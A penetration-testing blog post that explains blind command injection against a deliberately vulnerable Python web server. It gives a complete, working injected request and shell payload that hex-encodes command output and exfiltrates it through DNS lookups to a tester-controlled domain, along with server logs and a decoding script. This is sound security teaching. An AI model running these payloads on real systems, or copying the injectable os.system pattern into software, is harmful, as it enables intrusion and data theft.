A fair amount of the work we do in the Foregenix Penetration Testing team is, in one way or another, a flavour of web application penetration testing. In these assessments we come across command execution vulnerabilities that belong in one of two different categories:
In this blog post we will discuss the latter, cases where the output of our command is not directly displayed on the application, and present a strategy for obtaining access to the output of our command using recursive DNS queries. Finally we construct a practical example of the discussed strategy via a step by step process bypassing different constraints imposed to us by the use of DNS as an out of band retrieval method.
While the first category above is very easy to identify, the second is not and is known as a blind command execution vulnerability. So how do we go about detecting it? Well, we need to devise a way to interpret/identify if our command got executed or not by carefully constructing our payloads to divulge that. There are a few ways to go about doing that:
There are cases where direct and indirect can be used in the same command such as pinging a hostname. This will cause the application server to first try and resolve the hostname and later, if successful, ping it.
So lets say that we have successfully identified that our request is actually executing correctly but we are still unable to receive any results back.
We have created a small (and blatantly vulnerable) python web application to highlight blind command execution and provide a test bed to showcase DNS as an out of band command retrieval channel. You can find the application’s source code below.
from http.server import HTTPServer, BaseHTTPRequestHandler from io import BytesIO from json import loads from os import system from sys import platform,exc_info import traceback class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_POST(self): try: content_length = int(self.headers['Content-Length']) body = loads(self.rfile.read(content_length)) print('Received:',body) self.send_response(200) self.end_headers() response = BytesIO() response.write(b'Looking for: ') response.write(bytearray(body['filename'],'utf-8')) if platform.lower() == 'win32': cmd_code = system("dir {0}".format(str(body['filename']))) else: cmd_code = system("ls {0}".format(str(body['filename']))) if cmd_code == 0: response.write(b' File exists ') else: response.write(b' File does not exist ') self.wfile.write(response.getvalue()) except: response = BytesIO() response.write(b'An error has occurred.') self.wfile.write(response.getvalue()) traceback.print_exc() httpd = HTTPServer(('10.254.254.193', 8000), SimpleHTTPRequestHandler) httpd.serve_forever() |
You can see that the application parses a JSON string and checks if the file used in the filename
parameter exists on the system or not. It does so by passing this to the system ls
(or dir
depending on the platform) command and it interprets the response code.
We scanned the application with two very popular tools, BurpSuite and OWASP Zed Attack Proxy (ZAP) scanner modules. The vulnerability was identified by both scanners, albeit using different detection methods. OWASP ZAP used the timing method by adding sleep 15
at the end of the original payload while BurpSuite used its collaborator feature and DNS itself to identify commands being executed or not.
BurpSuite uses what it calls a ‘collaborator server’ to try and identify cases where the attacked application tries to interface with outside systems in any way. Most, if not all, payloads used by BurpSuite’s scanner module reference a collaborator server whenever this type of the payload dictates using a hostname and/or IP address. BurpSuite queries the collaborator server in order to identify whether the payloads it submitted resulted in an interaction between the collaborator server and an application component. You can find more information on BurpSuite’s collaborator under https://portswigger.net/burp/documentation/collaborator but for the purposes of this post, the above background will suffice.
So now we are in a position to accurately identify our command is being executed on the system, however, we cannot yet get the result of that command. So we need to find a way to obtain the output of that command. For the sake of simplicity, the remainder of this post assumes that DNS is allowed outgoing via recursive queries and that we are attacking a Linux based system.
So let’s start our step by step process for achieving a DNS call back channel for command output retrieval. As part of our thought process, we like to break a task down in discrete steps and address these in sequence, so you will have to bear with that process for the rest of this post.
We will start with capturing the output of the command we want to run. Luckily Linux provides a couple of trivial ways to achieve that, such as var=$(<command>)
or <command> |
(piping to another executable). Let's use ls -al /home
as our command for the remainder of this post.
Remember, we will be doing data movement using DNS queries originating from our attacked application towards a DNS server we control. DNS allows a few characters to be used in hostnames and we must account for that. Luckily we can use a native linux binary to encode the output of our command to only contain lowercase alpha characters and numbers, essentially hex encoding our output. This utility is xxd. xxd
and it supports a couple of command line switches to make our lives easier, namely -ps
which outputs data in a simple hexdump format versus the normal columned format, and -c
which allows us to define how many characters it can have in one row of hexdump; we need these to be as long as possible to avoid line breaks in our hostnames.
Normal xxd output
appliance@ubuntu:~$ ls -al /home | xxd
0000000: 746f 7461 6c20 3136 0a64 7277 7872 2d78 total 16.drwxr-x
0000010: 722d 7820 2034 2072 6f6f 7420 2020 2020 r-x 4 root
0000020: 2072 6f6f 7420 2020 2020 2034 3039 3620 root 4096
0000030: 4665 6220 2039 2031 373a 3038 202e 0a64 Feb 9 17:08 ..d
0000040: 7277 7872 2d78 722d 7820 3232 2072 6f6f rwxr-xr-x 22 roo
0000050: 7420 2020 2020 2072 6f6f 7420 2020 2020 t root
0000060: 2034 3039 3620 4d61 7220 3131 2020 3230 4096 Mar 11 20
0000070: 3137 202e 2e0a 6472 7778 722d 7872 2d78 17 ...drwxr-xr-x
0000080: 2020 3220 6164 6d69 6e20 2020 2020 6164 2 admin ad
0000090: 6d69 6e20 2020 2020 3430 3936 2046 6562 min 4096 Feb
00000a0: 2020 3920 3137 3a30 3920 6164 6d69 6e0a 9 17:09 admin.
00000b0: 6472 7778 722d 7872 2d78 2020 3220 6170 drwxr-xr-x 2 ap
00000c0: 706c 6961 6e63 6520 6170 706c 6961 6e63 pliance applianc
00000d0: 6520 3430 3936 2046 6562 2032 3120 3233 e 4096 Feb 21 23
00000e0: 3a31 3520 6170 706c 6961 6e63 650a :15 appliance.
Preferred xxd output
appliance@ubuntu:~$ ls -al /home | xxd -ps -c 800000
746f74616c2031360a64727778722d78722d7820203420726f6f74202020202020726f6f7420202020202034303936204665622020392031373a3038202e0a64727778722d78722d7820323220726f6f74202020202020726f6f7420202020202034303936204d6172203131202032303137202e2e0a64727778722d78722d782020322061646d696e202020202061646d696e202020202034303936204665622020392031373a30392061646d696e0a64727778722d78722d78202032206170706c69616e6365206170706c69616e63652034303936204665622032312032333a3135206170706c69616e63650a
A hostname can be between 1 and 63 characters long so we will need to break the above into manageable chunks. The exact size you will need depends on what is appended to the end to make it reach a DNS server under our control. Between 20 and 30 characters in length has worked ok for us in the past. Again, Linux has a native utility to help us with that, namely cut. cut
which can be used with a command line ‘-c
’ switch to extract characters between 2 given points in a string. For example, pick the characters on a string between position 20 and 40:
appliance@ubuntu:~$ echo 123456789011121314151617181920 | cut -c1-20
12345678901112131415
Applying this in in our building of our payload gets us to:
appliance@ubuntu:~$ ls -al /home | xxd -ps -c 800000 | cut -c1-20
746f74616c2031360a64
So now we just have to iterate our string 20 characters at a time. Again we can use Linux native utilities to achieve this task.
appliance@ubuntu:~$ for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)); do ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19)) ; done
746f74616c2031360a64
727778722d78722d7820
203420726f6f74202020
202020726f6f74202020
20202034303936204665
622020392031373a3038
202e0a64727778722d78
722d7820323220726f6f
74202020202020726f6f
74202020202020343039
36204d61722031312020
32303137202e2e0a6472
7778722d78722d782020
322061646d696e202020
202061646d696e202020
20203430393620466562
2020392031373a303920
61646d696e0a64727778
722d78722d7820203220
6170706c69616e636520
6170706c69616e636520
34303936204665622032
312032333a3135206170
706c69616e63650a
Let’s break the key components down:
for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m))
- Starts a loop with i
as the iterating variable starting at 1, incrementing 20 characters at a time until it reaches how many characters (wc -l
) the xxd encoding of ls -al /home
is.ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))
- In each iteration, we run the command we want, encode it and cut starting at i and stopping at i+19
.
We will use nslookup or ping for this and capitalise the above loop. We have come across systems where nslookup is not present so we end up using ping and doing name resolution implicitly. As such our command becomes:
for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)); do ping -c 1 `ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com ; done
The interesting bit is ping -c 1 $i.`ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com
where it tries to send a single ICMP echo packet to hostname constructed as $i.<command_chunk>.pt.fgxpt.com
. This domain is resolved by a server we control. The increment $i at the beginning of the hostname helps us root out duplicates.
Running this command gets us:
appliance@ubuntu:~$ for i in $(seq 1 20 $(ls -al /home | xxd -c 80000000 -ps | wc -m)); do ping -c 1 $i.`ls -al /home | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com ; done
PING 1.746f74616c2031360a64.pt.fgxpt.com (10.254.254.123) 56(84) bytes of data.
From ubuntu (10.254.254.192) icmp_seq=1 Destination Host Unreachable
--- 1.746f74616c2031360a64.pt.fgxpt.com ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
PING 21.727778722d78722d7820.pt.fgxpt.com (10.254.254.123) 56(84) bytes of data.
From ubuntu (10.254.254.192) icmp_seq=1 Destination Host Unreachable
--- 21.727778722d78722d7820.pt.fgxpt.com ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
PING 41.203420726f6f74202020.pt.fgxpt.com (10.254.254.123) 56(84) bytes of data.
From ubuntu (10.254.254.192) icmp_seq=1 Destination Host Unreachable
--- 41.203420726f6f74202020.pt.fgxpt.com ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
...
appliance@ubuntu:~$
Now, let’s see what our DNS server’s side saw.
[root@vm7784 zak]# python dns5.py
Received resolution for 1.746f74616c2031360a64.pt.fgxpt.com
Received resolution for 21.727778722d78722d7820.pt.fgxpt.com
Received resolution for 41.203420726f6f74202020.pt.fgxpt.com
Received resolution for 61.202020726f6f74202020.pt.fgxpt.com
Received resolution for 81.20202034303936204665.pt.fgxpt.com
Received resolution for 101.622020392031373a3038.pt.fgxpt.com
Received resolution for 121.202e0a64727778722d78.pt.fgxpt.com
Received resolution for 141.722d7820323220726f6f.pt.fgxpt.com
Received resolution for 161.74202020202020726f6f.pt.fgxpt.com
Received resolution for 181.74202020202020343039.pt.fgxpt.com
Received resolution for 201.36204d61722031312020.pt.fgxpt.com
Received resolution for 221.32303137202e2e0a6472.pt.fgxpt.com
Received resolution for 241.7778722d78722d782020.pt.fgxpt.com
Received resolution for 261.322061646d696e202020.pt.fgxpt.com
Received resolution for 281.202061646d696e202020.pt.fgxpt.com
Received resolution for 301.20203430393620466562.pt.fgxpt.com
Received resolution for 321.2020392031373a303920.pt.fgxpt.com
Received resolution for 341.61646d696e0a64727778.pt.fgxpt.com
Received resolution for 361.722d78722d7820203220.pt.fgxpt.com
Received resolution for 381.6170706c69616e636520.pt.fgxpt.com
Received resolution for 401.6170706c69616e636520.pt.fgxpt.com
Received resolution for 421.34303936204665622032.pt.fgxpt.com
Received resolution for 441.312032333a3135206170.pt.fgxpt.com
Received resolution for 461.706c69616e63650a.pt.fgxpt.com
We can isolate duplicates and extract the relevant parts of the hostnames in order to get the output of the command.
We have put together a small python script to help us with that.
>>> import binascii >>> res="""Received resolution for 1.746f74616c2031360a64.pt.fgxpt.com ... Received resolution for 21.727778722d78722d7820.pt.fgxpt.com ... Received resolution for 41.203420726f6f74202020.pt.fgxpt.com ... Received resolution for 61.202020726f6f74202020.pt.fgxpt.com ... Received resolution for 81.20202034303936204665.pt.fgxpt.com ... Received resolution for 101.622020392031373a3038.pt.fgxpt.com ... Received resolution for 121.202e0a64727778722d78.pt.fgxpt.com ... Received resolution for 141.722d7820323220726f6f.pt.fgxpt.com ... Received resolution for 161.74202020202020726f6f.pt.fgxpt.com ... Received resolution for 181.74202020202020343039.pt.fgxpt.com ... Received resolution for 201.36204d61722031312020.pt.fgxpt.com ... Received resolution for 221.32303137202e2e0a6472.pt.fgxpt.com ... Received resolution for 241.7778722d78722d782020.pt.fgxpt.com ... Received resolution for 261.322061646d696e202020.pt.fgxpt.com ... Received resolution for 281.202061646d696e202020.pt.fgxpt.com ... Received resolution for 301.20203430393620466562.pt.fgxpt.com ... Received resolution for 321.2020392031373a303920.pt.fgxpt.com ... Received resolution for 341.61646d696e0a64727778.pt.fgxpt.com ... Received resolution for 361.722d78722d7820203220.pt.fgxpt.com ... Received resolution for 381.6170706c69616e636520.pt.fgxpt.com ... Received resolution for 401.6170706c69616e636520.pt.fgxpt.com ... Received resolution for 421.34303936204665622032.pt.fgxpt.com ... Received resolution for 441.312032333a3135206170.pt.fgxpt.com ... Received resolution for 461.706c69616e63650a.pt.fgxpt.com ... """ >>> # Let’s define a variable to hold our output >>> out = '' >>> # Let’s iterate through the different lines and extract the portion of the hostname we care about. >>> for l in res.splitlines(): ... out = out + l.split('.')[1] ... >>> print out 746f74616c2031360a64727778722d78722d7820203420726f6f74202020202020726f6f7420202020202034303936204665622020392031373a3038202e0a64727778722d78722d7820323220726f6f74202020202020726f6f7420202020202034303936204d6172203131202032303137202e2e0a64727778722d78722d782020322061646d696e202020202061646d696e202020202034303936204665622020392031373a30392061646d696e0a64727778722d78722d78202032206170706c69616e6365206170706c69616e63652034303936204665622032312032333a3135206170706c69616e63650a >>> # Finally, decode the output we got to retrieve the actual command output. >>> print binascii.unhexlify(out) total 16 drwxr-xr-x 4 root root 4096 Feb 9 17:08 . drwxr-xr-x 22 root root 4096 Mar 11 2017 .. drwxr-xr-x 2 admin admin 4096 Feb 9 17:09 admin drwxr-xr-x 2 appliance appliance 4096 Feb 21 23:15 appliance >>> |
Armed with that, we can go back to our vulnerable application and try to use this in order to get data back.
We use the following request in order to execute our payload on the application server:
POST / HTTP/1.0
Host: 10.254.254.193:8000
Content-Length: 201
{"filename":"simplehttpserver.py ; for i in $(seq 1 20 $(ls -al /opt | xxd -c 80000000 -ps | wc -m)); do ping -c 1 $i.`ls -al /opt | xxd -ps -c 80000000 | cut -c$i-$(($i+19))`.pt.fgxpt.com ; done"}
Sure enough, in a couple of seconds, our DNS server starts receiving name resolution requests:
[root@vm7784 zak]# python dns5.py
Received resolution for 1.746f74616c2034380a64.pt.fgxpt.com
Received resolution for 21.727778722d78722d7820.pt.fgxpt.com
Received resolution for 41.203320726f6f7420726f.pt.fgxpt.com
Received resolution for 61.6f74202034303936204d.pt.fgxpt.com
Received resolution for 81.61792032382031313a35.pt.fgxpt.com
Received resolution for 101.30202e0a64727778722d.pt.fgxpt.com
Received resolution for 121.78722d7820313920726f.pt.fgxpt.com
Received resolution for 141.6f7420726f6f74203336.pt.fgxpt.com
Received resolution for 161.383634204a616e203237.pt.fgxpt.com
Received resolution for 181.2031333a3130202e2e0a.pt.fgxpt.com
Received resolution for 201.64727778722d78722d78.pt.fgxpt.com
Received resolution for 221.20203220726f6f742072.pt.fgxpt.com
Received resolution for 241.6f6f7420203430393620.pt.fgxpt.com
Received resolution for 261.4d61792032392030353a.pt.fgxpt.com
Received resolution for 281.33342073696d706c6568.pt.fgxpt.com
Received resolution for 301.7474707365727665720a.pt.fgxpt.com
Using our python script, we get the following output:
>>> res="""Received resolution for 1.746f74616c2034380a64.pt.fgxpt.com ... Received resolution for 21.727778722d78722d7820.pt.fgxpt.com ... Received resolution for 41.203320726f6f7420726f.pt.fgxpt.com ... Received resolution for 61.6f74202034303936204d.pt.fgxpt.com ... Received resolution for 81.61792032382031313a35.pt.fgxpt.com ... Received resolution for 101.30202e0a64727778722d.pt.fgxpt.com ... Received resolution for 121.78722d7820313920726f.pt.fgxpt.com ... Received resolution for 141.6f7420726f6f74203336.pt.fgxpt.com ... Received resolution for 161.383634204a616e203237.pt.fgxpt.com ... Received resolution for 181.2031333a3130202e2e0a.pt.fgxpt.com ... Received resolution for 201.64727778722d78722d78.pt.fgxpt.com ... Received resolution for 221.20203220726f6f742072.pt.fgxpt.com ... Received resolution for 241.6f6f7420203430393620.pt.fgxpt.com ... Received resolution for 261.4d61792032392030353a.pt.fgxpt.com ... Received resolution for 281.33342073696d706c6568.pt.fgxpt.com ... Received resolution for 301.7474707365727665720a.pt.fgxpt.com ... """ >>> out = '' >>> for l in res.splitlines(): ... out = out + l.split('.')[1] ... >>> print binascii.unhexlify(out) total 48 drwxr-xr-x 3 root root 4096 May 28 11:50 . drwxr-xr-x 19 root root 36864 Jan 27 13:10 .. drwxr-xr-x 2 root root 4096 May 29 05:34 simplehttpserver >>> |
So, at the moment we have a payload that works, but is borderline ugly with the command being repeated in two places which means if you want to run another command, you will need to make changes in two places, being susceptible to missing or getting confusing data back, especially if the data we are getting back can change quickly, inefficient - you will have noticed that for every iteration we execute the same command over and over again, etc. We can fix that thanks to a colleague of the OrionX Team pointing $() out to me when I was trying to piece this post together. By defining a variable at the start of our payload to hold the command hexadecimal representation and performing all subsequent operations on that variable overcomes some of the inefficiencies on that command.
cmd=$(ls -al /home | xxd -c 80000000 -ps); for i in $(seq 1 20 $(echo $cmd | wc -m)); do ping -c 1 `echo $cmd | cut -c$i-$(($i+19))`.pt.fgxpt.com ; done
So at this point, massive thanks are due for staying with us for this rather long post. In this blog post we dealt with a specific problem/situation when testing a web application. Command injection attacks are really cool and rare so when this opportunity arises we as penetration testers need to make the most of it. In this post we presented a strategy and a practical example on using DNS as an out of band command output retrieval mechanism. While there are other ways to exploit a blind command injection vulnerability such as uploading a web shell or piping a shell back, most of these either depend on some other information (finding the web root for the saving the web shell) or are hindered by network restrictions as may be the case for piping a shell back to the penetration testers’ server. The nature of DNS can be used to bypass these restrictions or gain access to their prerequisites for a second stage exploitation attempt. This post in our mind illustrates that where there is will there is a way. We hope you enjoyed reading this as much as we enjoyed writing it.